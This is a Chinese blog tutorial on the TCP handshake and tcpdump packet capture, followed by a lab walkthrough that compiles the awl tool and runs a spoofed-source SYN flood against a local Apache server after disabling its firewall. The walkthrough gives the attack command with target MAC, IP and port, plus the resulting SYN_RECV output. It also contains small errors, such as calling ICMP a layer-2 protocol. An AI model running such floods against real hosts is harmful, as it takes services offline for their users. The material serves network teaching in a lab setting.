TCP三次握手之-awl工具-SYN洪水攻击

云盾数据

- http://ssa.yundun.com/cc #云盾全球实时攻防图

TCP三次握手

TCP报文段的头部格式


  • 在这里插入图片描述

  • ACK:TCP协议规定,只有ack=1时,有效,也规定连接建立后,所有发送的报文ack必须为1

  • SYN :在连接建立时用来同步序列号,当SYN=1,而ACK=0时,表明这是一个连接请求报文,对方若同意建立连接,则应在响应报文中使SYS=1,和ACK=1,因此,SYS置1,就表示这是一个连接请求或连接接受报文

  • FIN 终结,用来释放一个连接,当FIN=1,表明此报文段的发送方数据已经发送完毕,并要求释放连接

  • 建立tcp 连接是的tcp三次握手

  • 断开tcp 连接的四次挥手

  • 三次握手过程:

    • Client:我可以给你发数据吗
    • Server:可以
    • Client:好的,知道了
      在这里插入图片描述
  • TCP 连接状态:

    • listen 侦听来自远方的TCP连接请求
    • syn-sent 发送请求连接后,等待匹配连接请求
    • syn-received 在收到和发送一个连接请求后等待对方连接请求的确认
    • established 代表打开一个连接

三次握手过程:
- 首先有client 发起请求连接,SYN=1,声明 自己序列号为seq=x;
- 然后server 进行回复确认,即SYN=1,声明自己的序列号是 seq=y,并设置ack=x+1
- 最后cilent 在进行一次确认,设置ack=y+1(相对序号)

  • 四次挥手
    • Cilent:我要断开了哦

    • Server:嗯嗯

    • Server:我也要断开了

    • Client:好的,可以断开

    • UPD 主要是语音、视频,同时vxlan也采用UDP协议分装,主要用于构建OpenStack 私有云或者解决vlan 不够用

实战-使用tcpdump 抓包

tcpdump 常用参数

  • -c 指定包个数

  • -n IP 端口用数字方式显示

  • -port 指定端口

  • -i 指定网卡接口

  • 如何产生tcp 连接?

    • ssh 连接
    • 访问web 等
    • 注意:ping 能不能产生tcp连接?
      - 不能,ping 属于icmp协议,是个2层协议,而tcp 属于传输层协议–4层

tcpdmp 抓包

  • 安装tcpdump 抓包工具
    [root@client ~]# yum -y install tcpdump

[root@client ~]# tcpdump -n -c 3 port 22 -i ens33

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
22:55:11.185792 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679612986:2679613174, ack 4290389423, win 252, length 188
22:55:11.186127 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 188, win 4104, length 0
22:55:11.186370 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 188:464, ack 1, win 252, length 276
3 packets captured
3 packets received by filter
0 packets dropped by kerne

注释:Flags --S {syn} 表示SYN标志位为1

思考:为啥ack 最后是1,而不是y+1

相对序号 +S,最后不是1

[root@client ~]# tcpdump -n -c 3 port 22 -i ens33 -S
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
23:00:48.648805 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679618606:2679618794, ack 4290391935, win 252, length 188
23:00:48.649369 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 2679618794, win 4101, length 0
23:00:48.649661 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679618794:2679619078, ack 4290391935, win 252, length 284
3 packets captured
3 packets received by filter
0 packets dropped by kernel
[root@client ~]# tcpdump -n -c 3 port 22 -i ens33 -S
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
23:01:10.917796 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679619482:2679619670, ack 4290392015, win 252, length 188
23:01:10.918335 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 2679619670, win 4105, length 0
23:01:10.918569 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679619670:2679619954, ack 4290392015, win 252, length 284
3 packets captured
3 packets received by filter
0 packets dropped by kernel
[root@client ~]# 

awl -syn-洪水攻击


  • 在这里插入图片描述

原理

  • SYN 洪水攻击的过程:
    在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的端,那么服务端需要耗费一定的数量的系统内存来等待这个未决的连接。直刀等待关闭超时,才能释放连接

  • 如果恶意者通过IP 欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接,并占用大量内存和tcp 连接,从而导致客户端无法访问服务端,这就是SYN洪水攻击的过程

实战

  • 上传安装包
    root@localhost ~]# cd /usr/src/
    [root@localhost src]# ls
    awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz kernels
    debug

解压、编译安装
[root@localhost src]# tar -zxvf awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz

[root@localhost ~]# cd /usr/src/awl-0.2/
[root@localhost awl-0.2]# ./configure #检查安装环境

[root@localhost awl-0.2]# make -j 1

[root@localhost awl-0.2]# make install

[root@localhost ~]# aw
awk awl
[root@localhost ~]# which awl #查看安装的位置
/usr/local/bin/awl
[root@localhost ~]#

  • 开始攻击:

    • awl 使用参数:
      • 发送包的接口,如果省略默认是 eth 0

      • -m 指定目标mac,如果-m 没有指定mac,默认目标mac 就是FF.FF.FF.FF.FF.FF

      • 全 F 就是向同以往段所有主机发出arp 广播,进行SYN攻击,还容易使整个局域网瘫痪

      • -d 被攻击的主机ip

      • -p 被攻击的主机端口

  • 配置服务端

[root@localhost ~]# yum -y install httpd
[root@localhost ~]# systemctl start httpd
[root@localhost ~]# getenforce #关闭selinux
Disabled
[root@localhost ~]# systemctl stop firewalld #关闭防火墙
[root@localhost ~]#
[root@localhost ~]# iptables -F
[root@localhost ~]#
当我们安装好后,过滤端口,发现默认只有一个80.
[root@localhost ~]#
[root@localhost ~]# netstat -antup |grep 80
tcp6 0 0 :::80 ::: LISTEN 1412/httpd

  • 客户端发起攻击

[root@localhost ~]# arp -n # 查看arp 缓存,如果没有看到167 的ip ,说明没有产生连接,可以使用167 ssh 到121 ,然后退出,再次查看。

[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80
注意:默数几秒,ctrl +C停止操作,在去过滤167httpd服务

[root@localhost ~]# netstat -antup |grep 80
tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV -
tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV -
tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV -
tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV -
tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV -
……
会发现产生大量未知的ip地址,并且连接状态为 SYN-RECV---- 在收到和发送一个连接请求后等待对方连接请求的确认

总结:

  • tcp 三从握手,提供可靠连接
  • udp 支持vxlan ,用于OpenStack 私有云、vlan 不够用
  • 如果编译出现以下问题:
    • configure: error:no acceptable C compiler found in $PATH
  • 解决:
    • yum -y install gcc-c++
  • 熟悉tcp 三次握手协议
发布了61 篇原创文章 · 获赞 6 · 访问量 2978

猜你喜欢

转载自blog.csdn.net/weixin_42313749/article/details/104686758